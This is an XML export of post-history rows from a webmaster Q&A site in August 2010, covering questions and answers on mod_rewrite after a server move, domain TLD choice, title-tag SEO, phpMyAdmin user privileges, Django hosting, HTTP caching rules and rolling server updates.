  <row Id="4293" PostHistoryTypeId="5" PostId="2237" RevisionGUID="b6714788-975a-466d-9d9e-d26fb82fc541" CreationDate="2010-08-13T18:38:53.087" UserId="108" Comment="Made English Good." Text="The site seems to draw the correct links but its not redirecting me to the correct view.&#xD;&#xA;&#xD;&#xA;The same code works fine on the old server here http://ruse.systemio.net/q&amp;a/.&#xD;&#xA;The new server is here http://www.rusereplays.com/q&amp;a/&#xD;&#xA;&#xD;&#xA;The problem I'm having is if you click a link on that page to a question it rewrites the link and redirects to the site, but for the new server it seems to just redirect to index.php.&#xD;&#xA;&#xD;&#xA;This is my .htaccess im using on both servers&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^(.*)$ index.php/$1 [QSA,L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;    ErrorDocument 404 /index.php&#xD;&#xA;&#xD;&#xA;This is the phpinfo for the two servers&#xD;&#xA;&#xD;&#xA;old -&gt; http://ruse.systemio.net/scripts/phpinfo.php&#xD;&#xA;new -&gt; http://www.rusereplays.com/scripts/phpinfo.php&#xD;&#xA;&#xD;&#xA;Anyone having a suggestion on how to fix this or too help me find a solution to my problem?&#xD;&#xA;" />
  <row Id="4294" PostHistoryTypeId="4" PostId="2237" RevisionGUID="b6714788-975a-466d-9d9e-d26fb82fc541" CreationDate="2010-08-13T18:38:53.087" UserId="108" Comment="Made English Good." Text="Problem with .htaccess and mod_rewrite after moving site to new server" />
  <row Id="4295" PostHistoryTypeId="2" PostId="2238" RevisionGUID="405509f2-2d45-41f1-9bc6-f26116f2ebd8" CreationDate="2010-08-13T19:05:59.067" UserId="152" Text="I would use .in. As it ends your name, and if its a personal site it could lead to an interesting card.&#xD;&#xA;&#xD;&#xA;GrantPal.in&#xD;&#xA;&#xD;&#xA;Check this for my meaning:&#xD;&#xA;&#xD;&#xA;&gt; http://www.borismus.com/minimal-business-card-design/&#xD;&#xA;" />
  <row Id="4296" PostHistoryTypeId="16" PostId="2238" RevisionGUID="405509f2-2d45-41f1-9bc6-f26116f2ebd8" CreationDate="2010-08-13T19:05:59.067" UserId="-1" />
  <row Id="4297" PostHistoryTypeId="5" PostId="2235" RevisionGUID="d9dc438f-5b77-445b-9ffd-0bbeea5fb07c" CreationDate="2010-08-13T20:45:48.377" UserId="26" Comment="added 9 characters in body" Text="**.info**&#xD;&#xA;&#xD;&#xA;&gt; The name is derived from information&#xD;&#xA;&gt; indicating that the domain is intended&#xD;&#xA;&gt; for informative Internet resources,&#xD;&#xA;&gt; although registration requirements do&#xD;&#xA;&gt; not prescribe any theme orientation.&#xD;&#xA;&#xD;&#xA;**.me**&#xD;&#xA;&#xD;&#xA;You're in [Montenegro][1]? Seriously, I am not a fan of using other country codes for other uses. I don't like things whose legal jurisdiction is not my own.&#xD;&#xA;&#xD;&#xA;**.name**&#xD;&#xA;&#xD;&#xA;&gt; It is intended for use by individuals&#xD;&#xA;&gt; for representation of their personal&#xD;&#xA;&gt; names, nicknames, screen names,&#xD;&#xA;&gt; pseudonyms, or other types of&#xD;&#xA;&gt; identification labels.&#xD;&#xA;&#xD;&#xA;I think `.name` is the most appropriate one to use.&#xD;&#xA;&#xD;&#xA;That said, the one that's easiest to remember and communicate to people is always going to be best. I like `.com` and `.org` best for personal sites.&#xD;&#xA;&#xD;&#xA;But to each his or her own. The original intent of TLDs has been subverted over the years, people do as they please. Use the one *you like* the best.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/.me" />
  <row Id="4298" PostHistoryTypeId="2" PostId="2239" RevisionGUID="b9bd2be8-7fdd-4c92-a3bc-6c6d70a1f3eb" CreationDate="2010-08-13T20:53:13.100" UserId="1124" Text="Recently, I changed the title tags for a site that I work on SEO for.  See the changes made:&#xD;&#xA;&#xD;&#xA;Previous title tag: Flat Fee Listing in MLS, Flat Fee MLS Listing For Sale By Owner.&#xD;&#xA;&#xD;&#xA;Revised:  Flat Fee MLS Listing | Sell Your Home for a Flat Fee&#xD;&#xA;&#xD;&#xA;Shortly after this change was made, the site dropped from a #1 ranking in Google to #2 for the search phrase &quot;flat fee MLS&quot;.  The site owner insists the reason is because we removed the second &quot;MLS&quot; term from the title tag.  While I know keyword density is important within your site content, I've not heard of it being critical within your title tags.  &#xD;&#xA;&#xD;&#xA;Any opinions out there?  Could removing the 2nd occurrence of &quot;MLS&quot; from the title tag have made a difference in our ranking?  Has anyone proved this to be the case within their own site experimentations?  Please advise - I either need to prove this guy wrong, or correct my error." />
  <row Id="4299" PostHistoryTypeId="1" PostId="2239" RevisionGUID="b9bd2be8-7fdd-4c92-a3bc-6c6d70a1f3eb" CreationDate="2010-08-13T20:53:13.100" UserId="1124" Text="Does keyword density within a title tag make a difference in SEO?" />
  <row Id="4300" PostHistoryTypeId="3" PostId="2239" RevisionGUID="b9bd2be8-7fdd-4c92-a3bc-6c6d70a1f3eb" CreationDate="2010-08-13T20:53:13.100" UserId="1124" Text="&lt;seo&gt;&lt;site-ranking&gt;&lt;keywords&gt;" />
  <row Id="4301" PostHistoryTypeId="2" PostId="2240" RevisionGUID="6b599209-40f4-4441-9e9f-db9880705dc1" CreationDate="2010-08-13T21:35:59.963" UserId="138" Text="If you're in Australia, there's `.id.au`. Like all `.au` domains, every single one is vetted before being assigned to you. I tried to get a `.id.au` domain for myself once and was refused because the one I chose &quot;was not a close enough likeness to your real identity&quot;.&#xD;&#xA;&#xD;&#xA;Your milage may vary." />
  <row Id="4302" PostHistoryTypeId="16" PostId="2240" RevisionGUID="6b599209-40f4-4441-9e9f-db9880705dc1" CreationDate="2010-08-13T21:35:59.963" UserId="-1" />
  <row Id="4303" PostHistoryTypeId="10" PostId="2203" RevisionGUID="871d6369-358e-4a83-a7ea-f6638e6b6e26" CreationDate="2010-08-13T21:36:59.467" UserId="138" CloseReasonId="2" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="4304" PostHistoryTypeId="2" PostId="2241" RevisionGUID="0caec88c-8835-4b06-b60d-721baf8cf057" CreationDate="2010-08-13T22:56:36.003" UserId="871" Text="I have been of the opinion recently that any change to a major site page that touches on common areas of SEO causes Google to pull the site back a bit on the rankings for a little while. Just from observation in the past few months." />
  <row Id="4305" PostHistoryTypeId="2" PostId="2242" RevisionGUID="3cf3825b-2186-4e30-929a-93d2f7bed133" CreationDate="2010-08-14T02:08:34.167" UserId="126" Text="I am using phpmyadmin to control mysql on my server, now i want to create some users to access this admin tool, what i want is to make each user can create databases but can't see others databases.&#xD;&#xA;&#xD;&#xA;Is that possible and how?" />
  <row Id="4306" PostHistoryTypeId="1" PostId="2242" RevisionGUID="3cf3825b-2186-4e30-929a-93d2f7bed133" CreationDate="2010-08-14T02:08:34.167" UserId="126" Text="How to create separate users in phpmyadmin, each one can't see others databases?" />
  <row Id="4307" PostHistoryTypeId="3" PostId="2242" RevisionGUID="3cf3825b-2186-4e30-929a-93d2f7bed133" CreationDate="2010-08-14T02:08:34.167" UserId="126" Text="&lt;php&gt;&lt;mysql&gt;" />
  <row Id="4308" PostHistoryTypeId="2" PostId="2243" RevisionGUID="cb679461-2071-455c-a0f6-1b925829af33" CreationDate="2010-08-14T02:47:12.963" UserId="1363" Text="In my experiences when doing seo for our clients, correct keyword placement in Title tags is more important now, than it ever has been.&#xD;&#xA;&#xD;&#xA;I always follow the 3 golden rules for Title tags:&#xD;&#xA;&#xD;&#xA; 1. Short but descriptive of, and relevant to the corresponding page's text content.&#xD;&#xA; 2. Do not use the same keyword/phrase more than once. (in the Title tag)&#xD;&#xA; 3. Also have the actual name of the page in the Title tag. I've seen many cases where clients have worried too much about keywords in the Title tag and completely forgotten to display the name of the page.&#xD;&#xA;&#xD;&#xA;Good Example:&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;Free Nuts &amp;amp; Bolts | Promotion&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Poor Example:&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;Buy free nuts &amp; bolts from MyWebsiteName.com&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hope this helps :-)" />
  <row Id="4309" PostHistoryTypeId="5" PostId="2243" RevisionGUID="eb9f14fe-ce8a-4c97-ab8f-cf9f9bbca449" CreationDate="2010-08-14T02:55:38.903" UserId="1363" Comment="added 62 characters in body" Text="I believe your revised version to be much more beneficial.&#xD;&#xA;&#xD;&#xA;In my experiences when doing seo for our clients, correct keyword placement in Title tags is more important now, than it ever has been.&#xD;&#xA;&#xD;&#xA;I always follow the 3 golden rules for Title tags:&#xD;&#xA;&#xD;&#xA; 1. Short but descriptive of, and relevant to the corresponding page's text content.&#xD;&#xA; 2. Do not use the same keyword/phrase more than once. (in the Title tag)&#xD;&#xA; 3. Also have the actual name of the page in the Title tag. I've seen many cases where clients have worried too much about keywords in the Title tag and completely forgotten to display the name of the page.&#xD;&#xA;&#xD;&#xA;Good Example:&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;Free Nuts &amp;amp; Bolts | Promotion&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Poor Example:&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;Buy free nuts &amp; bolts from MyWebsiteName.com&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hope this helps :-)" />
  <row Id="4317" PostHistoryTypeId="2" PostId="2247" RevisionGUID="81264931-f85e-40ef-86c0-84674285d337" CreationDate="2010-08-14T04:15:03.810" UserId="1253" Text="Try this:&#xD;&#xA;&#xD;&#xA; 1. On the phpMyAdmin default page (localhost) click on the &quot;Privileges&quot; link&#xD;&#xA; 2. Click on the &quot;Add a new User link&quot;&#xD;&#xA; 3. Assign the User a login and password&#xD;&#xA; 4. Where it says &quot;Database for User&quot; select &quot;None&quot;&#xD;&#xA; 5. Leave all checkboxes in global privileges unchecked&#xD;&#xA; 6. Press the &quot;Go&quot; button&#xD;&#xA;&#xD;&#xA;You should see the new user in the User overview. Global privileges should say &quot;Usage&quot;.&#xD;&#xA;&#xD;&#xA; 1. Click on the edit icon next the the User's account&#xD;&#xA; 2. Under &quot;Database-specific privileges&quot; where it says &quot;Add privileges on the following database&quot; chose the database(s) you wish to assign to the user&#xD;&#xA; 3. Assign the User whatever privileges you wish them to have for that database&#xD;&#xA; 4. Press the &quot;Go&quot; button" />
  <row Id="4318" PostHistoryTypeId="5" PostId="789" RevisionGUID="86320f9c-f330-4b49-8c9a-4e99ece08319" CreationDate="2010-08-14T05:00:59.403" UserId="138" Comment="Much better real-life example I heard on the radio yesterday" Text="Big downside: Having to spell it to people vocally it's very ambiguous. This goes for having a number anywhere in the URL.&#xD;&#xA;&#xD;&#xA;So many times I've heard radio advertisements for websites where they have to spell it out:&#xD;&#xA;&#xD;&#xA;`To take advantage of this great offer, just go to travelwithkidz.com.au - that's kids with a Z` - very annoying for everyone involved.&#xD;&#xA;&#xD;&#xA;Take for example, `2example.com`&#xD;&#xA;&#xD;&#xA;Tech Support: Go to 2example.com - that's the number two, not the letters two, so two the digit example.com&#xD;&#xA;&#xD;&#xA;Grandma: It's not working&#xD;&#xA;&#xD;&#xA;Tech Support: can you read back to me what you've got?&#xD;&#xA;&#xD;&#xA;Grandma (slowly): `tee-doubleyou-oh-tee-hach-eee-dee-eye-gee-eye-tee-eee-ex-aye-mmm-pee-ell-eee-dee-oh-tee-see-oh-emm` (twothedigitdotcom)" />
  <row Id="4319" PostHistoryTypeId="2" PostId="2248" RevisionGUID="52d84d55-22c5-4c46-92db-02414c9daca9" CreationDate="2010-08-14T05:23:09.510" Text="Not to discount how &quot;frequent&quot; users press the back button, or that it simply isn't a &quot;good idea&quot; to &quot;break&quot; it, I would offer a different suggestion:  The back button should take the user to somewhere before the user got to where they are now.  In a lot of cases it makes more sense and is more usable to not take them one link-click back (and may be much easier to implement).  For example, take browsing a photo album.  The user make one click to select the album, is presented with thumbnails.  Another click on a thumbnail shows that picture with next / previous links.  At this point the user navigates through the album.  When they're finished, they click back.  At this point, it's more convenient and intuitive to go back to the thumbnail than to the previous picture.&#xD;&#xA;&#xD;&#xA;In short, the back button should do something, but exactly what it should do depends on the application." />
  <row Id="4320" PostHistoryTypeId="2" PostId="2249" RevisionGUID="6d5dfd3d-ed52-41f2-8da9-695e8899cf6e" CreationDate="2010-08-14T06:27:36.690" UserId="1558" Text="the question says it all, but here's a bit more detail:&#xD;&#xA;&#xD;&#xA;I help building a bilingual website using MLP on TextPattern. It's trivial to put a link to the top level page of another language, but how to put a link to the current page in another language?&#xD;&#xA;&#xD;&#xA;Eg. /en/contact should link to /de/kontakt (the same article in another language).&#xD;&#xA;&#xD;&#xA;I'm sure there are some variables somewhere that I could put into the template that would be filled with the correct links.&#xD;&#xA;&#xD;&#xA;Thankx in advance. :)" />
  <row Id="4321" PostHistoryTypeId="1" PostId="2249" RevisionGUID="6d5dfd3d-ed52-41f2-8da9-695e8899cf6e" CreationDate="2010-08-14T06:27:36.690" UserId="1558" Text="Using MLP, how to make a link to the according page in the other languages?" />
  <row Id="4322" PostHistoryTypeId="3" PostId="2249" RevisionGUID="6d5dfd3d-ed52-41f2-8da9-695e8899cf6e" CreationDate="2010-08-14T06:27:36.690" UserId="1558" Text="&lt;website-features&gt;&lt;language&gt;" />
  <row Id="4323" PostHistoryTypeId="2" PostId="2250" RevisionGUID="c5162d66-65c0-43db-94a7-76b342577e8d" CreationDate="2010-08-14T06:31:23.983" UserId="427" Text="1. Login to phpMyADmin&#xD;&#xA;2. Go to Privileges&#xD;&#xA;3. Click Add a new User&#xD;&#xA;4. Type the access info you want in the Login Information area (username, host, password)&#xD;&#xA;5. Click on the radio button for Create database with same name and grant all privileges&#xD;&#xA;6. Click Go.&#xD;&#xA;&#xD;&#xA;That's it.&#xD;&#xA;&#xD;&#xA;Note. I prefer to have a combination where the username is the same as the database name - some may argue against it. I'm using phpMyAdmin version 3.3.2." />
  <row Id="4324" PostHistoryTypeId="2" PostId="2251" RevisionGUID="fbe9c24b-2492-4ff1-a6bc-2e550191bbf6" CreationDate="2010-08-14T08:03:38.933" UserId="1078" Text="Well, I came across this one a couple of days ago, [pearanalytics][1]. It's a little basic for what you want but it does show Google PageRank.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pearanalytics.com/" />
  <row Id="4325" PostHistoryTypeId="16" PostId="2251" RevisionGUID="fbe9c24b-2492-4ff1-a6bc-2e550191bbf6" CreationDate="2010-08-14T08:03:38.933" UserId="-1" />
  <row Id="4326" PostHistoryTypeId="2" PostId="2252" RevisionGUID="9ea3d0b4-eb87-49e5-8ba8-0775fb630ba2" CreationDate="2010-08-14T08:53:52.123" UserId="1559" Text="I'm doing a personal web site in Django. It'll be fairly light, and I don't expect many visitors, so I don't need 500gb of bandwidth or 10gb of hard drive which most hosting servers seem to provide as their minimum.&#xD;&#xA;&#xD;&#xA;The web site itself should be less than 10mb in size (plus Python/Django installation) and if I reach 100 visitors per month I'll be lucky. ;) It'll be a place for me to keep my portfolio. While bandwidth and space isn't something I need much of, I still need to be relatively stable and fast (I'd hate to send my portfolio to a recruiter only to have it be down due to maintanence or whatever).&#xD;&#xA;" />
  <row Id="4327" PostHistoryTypeId="1" PostId="2252" RevisionGUID="9ea3d0b4-eb87-49e5-8ba8-0775fb630ba2" CreationDate="2010-08-14T08:53:52.123" UserId="1559" Text="What are some good, cheap hosts that supports Django?" />
  <row Id="4328" PostHistoryTypeId="3" PostId="2252" RevisionGUID="9ea3d0b4-eb87-49e5-8ba8-0775fb630ba2" CreationDate="2010-08-14T08:53:52.123" UserId="1559" Text="&lt;web-hosting&gt;&lt;personal-website&gt;&lt;django&gt;" />
  <row Id="4329" PostHistoryTypeId="2" PostId="2253" RevisionGUID="125dfef4-bea8-4c29-867a-6243d3be0395" CreationDate="2010-08-14T08:59:48.347" UserId="1560" Text="I have a Webfaction account and I love it! Setting up an Django application in it is a breeze, its very simple and just works. The forums and the community is great too." />
  <row Id="4330" PostHistoryTypeId="2" PostId="2254" RevisionGUID="32f418ee-b9f3-44ad-baf3-c33229338dc3" CreationDate="2010-08-14T10:18:14.600" UserId="480" Text="[Google App Engine][1] is our preferred Django hosting solution. There is a [solid helper library][2] to deal with any inconsistencies. You get lots of hosting bandwidth/resources for free and if you set your daily billable amount to $0.00 (technically the same as free but they now have your credit card details) you get around 50% more resources. The upcoming Business App Engine should offer own domain SSL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/appengine/&#xD;&#xA;  [2]: http://code.google.com/p/google-app-engine-django/" />
  <row Id="4331" PostHistoryTypeId="5" PostId="1459" RevisionGUID="0fd717ca-1aa8-4357-b62a-25663415dc4d" CreationDate="2010-08-14T10:40:00.447" UserId="480" Comment="added 125 characters in body" Text="**Confession**: sites I maintain have different rules for Cache Control mostly based on the default configuration of the server followed up with recommendations from the [Page Speed][1] &amp; [Y-Slow][2] Firefox plug-ins and the Network Resources view in Google's [Speed Tracer][3]. Cache-Control is set to private/public depending on what they say to do, ETag's/Last-Modified headers are only tinkered with if Y-Slow suggests there is something wrong and Vary-Accept-Encoding seems necessary when manually gziping files for Amazon CloudFront.&#xD;&#xA;&#xD;&#xA;When reading through the material on the different options and what they do there seems to be conflicting information, rules for broken proxies and [cargo cult][4] configurations. Any of the official information provided by the analysis tools mentioned above is quite inaccessible as it deals with each topic individually instead of as a unified strategy (so there is no cross-referencing of techniques).&#xD;&#xA;&#xD;&#xA;For example, it seems to make no sense that the speed analysis tools rate a site with ETag's the same as a site without them if they are meant to help with caching.&#xD;&#xA;&#xD;&#xA;**What are the hard and fast rules for a platform agnostic Cache Control strategy?**&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;A [link][5] through [Jeff Atwood's article][6] explains Caching in superb depth.&#xD;&#xA;&#xD;&#xA;For the record though here are the hard and fast rules:&#xD;&#xA;&#xD;&#xA;**If the file is Compressed using GZIP, etc** - use &quot;cache-control: private&quot; as a proxy may return the compressed version to a client that does not support it (the browser cache will hold files marked this way though). Also remember to include a &quot;Vary: Accept-Encoding&quot; to say that it is compressible.&#xD;&#xA;&#xD;&#xA;**Use Last-Modified in conjunction with ETag** - belt and braces usage provides both validators, whilst ETag is based on file contents instead of modification time alone, using both covers all bases. **NOTE:** [AOL's PageTest][7] has a carte blanche approach against ETags for some reason. *If you are using Apache on more than one server to host the same content then remove the implicitly declared inode from ETags by excluding it from the FileETag directive (i.e. &quot;FileETag MTime Size&quot;) unless you are genuinely using the same live filesystem.*&#xD;&#xA;&#xD;&#xA;**Use &quot;cache-control: public&quot; wherever you can** - this means that proxy servers (and the browser cache) will return your content even if the rest of the page needs HTTP authentication, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [2]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [3]: https://chrome.google.com/extensions/detail/ognampngfcbddbfemdapefohjiobgbdl&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Cargo_cult&#xD;&#xA;  [5]: http://www.mnot.net/cache_docs/&#xD;&#xA;  [6]: http://www.codinghorror.com/blog/2007/08/yslow-yahoos-problems-are-not-your-problems.html&#xD;&#xA;  [7]: http://www.webpagetest.org/" />
  <row Id="4332" PostHistoryTypeId="5" PostId="2223" RevisionGUID="9813ff49-a100-48c0-a948-0b2453b7a278" CreationDate="2010-08-14T11:06:42.093" UserId="138" Comment="added 14 characters in body; edited tags" Text="We've got a website which has been running for a few years now. One of our customers has just started having an intermittent problem. Looking at our iis6.0 logs the service works correctly when they have a user agent beginning &quot;mozilla/4.0+&quot; but fails when the user agent begins &quot;mozilla/5.0+&quot;. The particular customer only started having this problem on Wednesday. &#xD;&#xA;&#xD;&#xA;Does anyone know the browser/upgrade which changes the 4.0 to 5.0?&#xD;&#xA;&#xD;&#xA;The actual problem caused is that an &quot;&amp;&quot; in a url parameter list is being encoded as &quot;&amp;amp;amp;&quot;. Anyone seen anything similar?&#xD;&#xA;&#xD;&#xA;We have other users sending from browsers with the 5.0+ user agent without trouble.&#xD;&#xA;&#xD;&#xA;Sorry about the tags but don't have the rep to create new ones.&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;Patrick&#xD;&#xA;&#xD;&#xA;Edit: hi Viper_sb,&#xD;&#xA;&#xD;&#xA;It is most probably a custom script (I'm primarily a c++ developer so don't really understand). Our site services requests from other customer developed sites, this one was done in Java script as far as I know.&#xD;&#xA;&#xD;&#xA;we're actually getting a variety of user agents (presumably depending on which of our customers customers is accessing the service), here's a few:&#xD;&#xA;Mozilla/5.0+(Windows;+U;+Windows+NT+6.1;+fr;+rv:1.9.1.11)+Gecko/20100701+Firefox/3.5.11&#xD;&#xA;&#xD;&#xA;    Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+en-US)+AppleWebKit/533.4+(KHTML,+like+Gecko)+Chrome/5.0.375.126+Safari/533.4 302 0 0&#xD;&#xA;    Mozilla/5.0+(Macintosh;+U;+PPC+Mac+OS+X;+fr)+AppleWebKit/523.12+(KHTML,+like+Gecko)+Version/3.0.4+Safari/523.12&#xD;&#xA;    Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+en-US;+rv:1.9.2.8)+Gecko/20100722+Firefox/3.6.8&#xD;&#xA;    Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+fr;+rv:1.9.2.8)+Gecko/20100722+Firefox/3.6.8+(.NET+CLR+3.5.30729)" />
  <row Id="4333" PostHistoryTypeId="6" PostId="2223" RevisionGUID="9813ff49-a100-48c0-a948-0b2453b7a278" CreationDate="2010-08-14T11:06:42.093" UserId="138" Comment="added 14 characters in body; edited tags" Text="&lt;browsers&gt;&lt;user-agent&gt;&lt;url-encoding&gt;" />
  <row Id="4334" PostHistoryTypeId="2" PostId="2255" RevisionGUID="e1fbfb3f-511f-4dc2-9ffb-5fe54be4d80b" CreationDate="2010-08-14T11:20:53.507" UserId="1064" Text="Is `AllowOverride All` set in your httpd.conf?&#xD;&#xA;&#xD;&#xA;(If not, your mod_rewrite directives will be ignored unless they are specified under a `Directory` section in the httpd.conf file or your site's conf file)&#xD;&#xA;&#xD;&#xA;See the Apache Core documentation - you'll want to make sure that [AllowOverride][1] and [AccessFileName][2] match your old server's setup.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/mod/core.html#allowoverride&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.0/mod/core.html#accessfilename" />
  <row Id="4335" PostHistoryTypeId="2" PostId="2256" RevisionGUID="d5035254-2e76-4775-8952-e033f17e8bd6" CreationDate="2010-08-14T14:10:24.853" UserId="1429" Text="I think the best thing to do is to subscribe your site into your Google Webmaster Tools (it's free).&#xD;&#xA;Such a tool provides a functionality called &quot;HTML Suggestions&quot; that tells you when your title or meta decription are too short/long or even duplicated in pages.&#xD;&#xA;From my experience **I did NOT see Google Webmaster Tools complain for titles longer than 65 chars**, therefor probably also those words after the 65th chars are still in some way indexed by Goole.&#xD;&#xA;&#xD;&#xA;But I have to agree also with the answer given by corymathews, since most search engines displays only 65 chars in their results it might be worth paying attention to Google's searchers that won't be bale to read the text after the 65th char of your title in a search result." />
  <row Id="4336" PostHistoryTypeId="2" PostId="2257" RevisionGUID="ec0c1037-5ee6-499c-98b4-8ac2c4d58caf" CreationDate="2010-08-14T18:49:06.113" UserId="48" Text="Big websites (Amazon, Facebook, Yahoo etc.) don't schedule downtime for upgrades. Usually they are done &quot;live&quot; and rolled progressively through the server farm. They also have big infrastructure and teams to manage this. &#xD;&#xA;&#xD;&#xA;Smaller websites usually take the entire site offline to update the database structure and upgrade the code running on the web servers. The downtime can be very minimal but its still an interruption to customers.&#xD;&#xA;&#xD;&#xA;How did you make the jump to no-downtime rolling updates? What are the minimum requirements to get this done? What can we do to build applications that make this possible from the start?" />
  <row Id="4337" PostHistoryTypeId="1" PostId="2257" RevisionGUID="ec0c1037-5ee6-499c-98b4-8ac2c4d58caf" CreationDate="2010-08-14T18:49:06.113" UserId="48" Text="Rolling Updates in a Webserver Farm?" />
  <row Id="4338" PostHistoryTypeId="3" PostId="2257" RevisionGUID="ec0c1037-5ee6-499c-98b4-8ac2c4d58caf" CreationDate="2010-08-14T18:49:06.113" UserId="48" Text="&lt;site-deployment&gt;&lt;webfarm&gt;&lt;architecture&gt;" />
  <row Id="4339" PostHistoryTypeId="2" PostId="2258" RevisionGUID="c0d0de27-5715-4c91-9dd5-682d13ff3c7c" CreationDate="2010-08-14T20:21:22.563" UserId="1064" Text="&gt; What are the minimum requirements to&#xD;&#xA;&gt; get this done?&#xD;&#xA;&#xD;&#xA;Once you have at least two servers behind a load-balancer, you can sequentially remove a server from the cluster, update it, and add it back to the cluster to complete the update (insofar as the visitor is concerned).&#xD;&#xA;&#xD;&#xA;&gt; What can we do to build applications&#xD;&#xA;&gt; that make this possible from the&#xD;&#xA;&gt; start?&#xD;&#xA;&#xD;&#xA;Design your application with [load-balancing requirements][1] in mind.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://1wt.eu/articles/2006_lb/" />
  <row Id="4340" PostHistoryTypeId="2" PostId="2259" RevisionGUID="b8cc7d99-153b-4a91-a9bd-6b39c18d567c" CreationDate="2010-08-14T22:47:04.330" UserId="1429" Text="The cheapest one to buy. :)" />
  <row Id="4341" PostHistoryTypeId="16" PostId="2259" RevisionGUID="b8cc7d99-153b-4a91-a9bd-6b39c18d567c" CreationDate="2010-08-14T22:47:04.330" UserId="-1" />
  <row Id="4342" PostHistoryTypeId="2" PostId="2260" RevisionGUID="1d2f5f8e-422a-4532-974c-e7297928a466" CreationDate="2010-08-14T23:01:54.073" UserId="1429" Text="Does anyone know in his SEO experince if links coming from FaceBook, Delicious, Digg are useful to increase PageRank on Google?&#xD;&#xA;&#xD;&#xA;I would say NO cause most of thise links are nofollow and/or stored in hidden areas (users require their account to read those pages).&#xD;&#xA;&#xD;&#xA;But lately when searching for some busineeses name, the 1st results on Google was the Facebook page of those businesses (that also irritated me), but I'm started wondering this question.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="4343" PostHistoryTypeId="1" PostId="2260" RevisionGUID="1d2f5f8e-422a-4532-974c-e7297928a466" CreationDate="2010-08-14T23:01:54.073" UserId="1429" Text="SEO links from Facebook, Delicious, Digg are useful to increase Google PR ?" />
  <row Id="4344" PostHistoryTypeId="3" PostId="2260" RevisionGUID="1d2f5f8e-422a-4532-974c-e7297928a466" CreationDate="2010-08-14T23:01:54.073" UserId="1429" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;facebook&gt;&lt;links&gt;&lt;link-submission&gt;" />
  <row Id="4345" PostHistoryTypeId="2" PostId="2261" RevisionGUID="5472b3d6-7c9e-45ec-abf3-5039380d52e8" CreationDate="2010-08-14T23:20:03.437" UserId="1429" Text="I noticed website with new contents is pushed up in Google results in some way for a while than moved down again.&#xD;&#xA;It's like if Google wants people to see immedaitely there is new content in your site which make sense in order for Google to return latest news results from online newspapers.&#xD;&#xA;&#xD;&#xA;But I don't think it benefits Page Rank itself.&#xD;&#xA;&#xD;&#xA;Virtuosi Media answered that blogs sites ranks better (as Page Rank I suppose), but I belive is more because they have many pages linking to the HOME PAGE rather because the freshness of their pages.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4346" PostHistoryTypeId="2" PostId="2262" RevisionGUID="0ca0b341-e131-4b4c-a4f2-07670e238123" CreationDate="2010-08-14T23:23:39.513" UserId="1429" Text="Keep all in one domain, the other way is somehow bizzarre." />
  <row Id="4347" PostHistoryTypeId="2" PostId="2263" RevisionGUID="95cd8ccc-0d1a-4aae-bdd9-27e3c2cc72ef" CreationDate="2010-08-14T23:34:27.797" UserId="871" Text="0 downtime is the webserver equivalent of &quot;the design must look exactly the same in every browser.&quot; Scheduled downtime is ok, just schedule it and put a static notice up. Unless it actually costs you tons of hits or money, which as a small website it would be definition not. If you do not want anyone to see it do it over the Fourth of July (or Thanksgiving or another opportune moment) unless your website is the #1 Google search result for &quot;Firework burn treatment&quot; or &quot;Francis Scott Key lyrics&quot; you will be just fine. &#xD;&#xA;&#xD;&#xA;Doing this from the start usually leads to a much larger risk: over-engineering." />
  <row Id="4348" PostHistoryTypeId="2" PostId="2264" RevisionGUID="68249ac1-0608-4805-b6da-b31b0307bd85" CreationDate="2010-08-14T23:39:03.623" UserId="1429" Text="I think it might benefit only if you carefully link exchange. I mean try to find sites with bigger PR than your site to point to your site.&#xD;&#xA;&#xD;&#xA;**But the real problem in a link exchange is that it's very hard to say IN ADVANCE if it's your site giving more PR to the other sites or others sites giving more PR to yours.**&#xD;&#xA;Cause even if other sites linking to your site have more PR than your site, you should check also how many links come out from the pages that links to your site.&#xD;&#xA;A page with a 5 PR with n links going to n sites gives a small amount of PR to all thiose sites and not all the PR to all sites.&#xD;&#xA;&#xD;&#xA;The only way is to try and after some months see if your PR increases or decreases, it's anyway easy to go back to previous situation because you have control on your site so you simply need to remove the outbound links you added, I suppose the webmasters that have exchanged links with you when they will see you removed the links to them they will almost for sure do the same, so everything will go back to normality." />
